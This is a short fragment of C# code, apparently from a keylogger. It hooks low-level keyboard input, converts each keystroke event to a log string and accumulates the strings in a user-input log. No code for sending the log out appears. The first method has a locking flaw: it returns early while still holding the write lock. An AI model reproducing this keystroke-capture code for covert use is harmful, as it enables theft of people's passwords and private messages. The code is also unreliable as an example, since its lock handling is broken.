private static void KeyboardMonitor_OnKeyboardEvent(object sender, KeyboardMonitorEventArgs e) { _currentKeylogLock.EnterWriteLock(); if (_currentKeylog == null) { return; } _currentKeylog.AppendKeyboardEvent(e); _currentKeylogLock.ExitWriteLock(); //CurrentKeyLog.AppendKeyboardEvent(e); }
private int CallNextHook(int code, NativeMethods.KeyboardMessage message, ref NativeMethods.KeyboardState state) { if (code >= 0) { var e = new KeyboardMonitorEventArgs(message, ref state); OnKeyboardEvent(this, e); if (e.Cancel) { return(-1); } } return(NativeMethods.CallNextHookEx(IntPtr.Zero, code, message, ref state)); }
public void AppendKeyboardEvent(KeyboardMonitorEventArgs e) { string s = e.ToLog(); _userInput.Append(s); }